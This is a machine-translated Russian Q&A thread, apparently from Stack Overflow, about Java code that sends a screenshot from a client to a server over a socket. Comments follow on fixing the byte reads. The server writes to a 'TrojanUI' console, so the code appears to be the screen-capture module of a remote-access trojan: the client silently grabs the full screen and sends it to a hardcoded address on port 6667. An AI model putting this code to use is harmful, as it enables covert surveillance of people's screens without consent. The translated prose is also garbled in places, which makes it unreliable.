Im работает над пробной программой, но в какой-то степени полезен.Java отправить скриншот через сокет
Что я пытаюсь сделать, это получить скриншоты от клиента и открыть скриншот на сервере как JFrame.
После многочисленных попыток я нашел этот нерешенный вопрос How to send images through sockets in java?.
Скриншот проникает, но его нарезанный и только около 120-135kb пробивает его. В верхнем голосовавшем ответе у него есть Thread.sleep()
на стороне клиента, прежде чем он закрывает соединение, но я попробовал его без него, и он вышел измельченный, поэтому я попробовал его, как он выразился, но он все еще вернулся нарезанный. Мой клиентский класс, который считывает входные данные, находится в цикле и запускается каждые 100 мс, поэтому я думал, что он слишком быстро зацикливается, поэтому я увеличил его до 1000 мс, и он все еще был нарезанным.
Я пытался что-то другое на тот же поток, с другим ответом и изменить на стороне сервера ImageIO.read(new ByteArrayInputStream(imageAr))
к ImageIO.read(new ByteArrayInputStream(imageAr))
но это время изображения не пришло.
Это был один из первых методов, которые я пробовал, когда я начал но это не сработало! https://javabelazy.blogspot.com/2013/10/sending-screenshot-from-client-to.html.
Сервер
package UI;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
public class ViewScreen implements Runnable{
private static Thread t;
@Override
public void run(){
//Screenshot Frame
final JFrame frame = new JFrame();
frame.setSize(500, 500);
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
t = new Thread(){
public void run(){
try{
int port = 6667;
ServerSocket serverSocket = new ServerSocket(port);
Socket server = serverSocket.accept();
TrojanUI.console.append("[*]Waiting for screenshot on port " + serverSocket.getLocalPort() + "...\n");
DataInputStream in = new DataInputStream(server.getInputStream());
DataOutputStream out = new DataOutputStream(server.getOutputStream());
byte[] sizeAr = new byte[4];
in.read(sizeAr);
int size = ByteBuffer.wrap(sizeAr).asIntBuffer().get();
byte[] imageAr = new byte[size];
in.read(imageAr);
BufferedImage image = ImageIO.read(new ByteArrayInputStream(imageAr));
ImageIO.write(image, "jpg", new File("screen.jpg"));
server.close();
JLabel label = new JLabel();
label.setIcon(new ImageIcon(image));
frame.getContentPane().add(label);
}catch(IOException e){
e.printStackTrace();
}
}
};
t.start();
frame.setVisible(true);
}
}
Эта часть кода сервера является новым потоком, создавая новый сокет и новый JFrame для отображения экрана. Почему я это делаю? В другом потоке я читал, что изображение будет отправлять только, если сокет закрывается. Так что, поскольку я не хочу, чтобы основной сокет закрывался, или я теряю соединение, я создал другой сокет, который временно откроется, чтобы передать только скриншот.
Client
package tc;
import java.awt.AWTException;
import java.awt.HeadlessException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
public class SendScreen{
public SendScreen(){
try{
//creates new socket on port 6667
Socket sclient = new Socket("192.168.0.5",6667);
OutputStream sOutToServer = sclient.getOutputStream();
DataOutputStream out = new DataOutputStream(sOutToServer);
InputStream sInFromServer = sclient.getInputStream();
DataInputStream in = new DataInputStream(sInFromServer);
//Takes screenshot and sends it to server as byte array
BufferedImage screencap = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(screencap,"jpg",baos);
//Gets screenshot byte size and sends it to server and flushes then closes the connection
byte[] size = ByteBuffer.allocate(4).putInt(baos.size()).array();
out.write(size);
out.write(baos.toByteArray());
out.flush();
sclient.close();
}catch(HeadlessException | AWTException | IOException e){
e.printStackTrace();
}
}
}
На стороне сервера я добавил еще одну строку, которая создает образ локально только для устранения неполадок, если что-то идет до конца.
Заранее спасибо
Я определенно получаю намного лучший результат от этого изменения.Я фактически сохранил «размер» в отправляющей стороне как массив байтов и «размер» на считывающем конце, а также получил большую часть экрана, но правая сторона и нижняя часть экрана были зафиксированы. Вероятно, это связано с тем, что я программировал удаленно с помощью RDP. Большое спасибо! – xR34P3Rx
Я бы все же удалил слово size и поток массива байтов из-за пространственных и временных затрат. Не усложняйте простые вещи. – EJP
хе-хе ... @EJP, могу я что-то спросить? out.writeInt (размер); out.write (baos.toByteArray()); out.close(); подходит для меня. если я не получил значение размера, ... откуда я его получил? размер int изображения или что-то еще? – gumuruh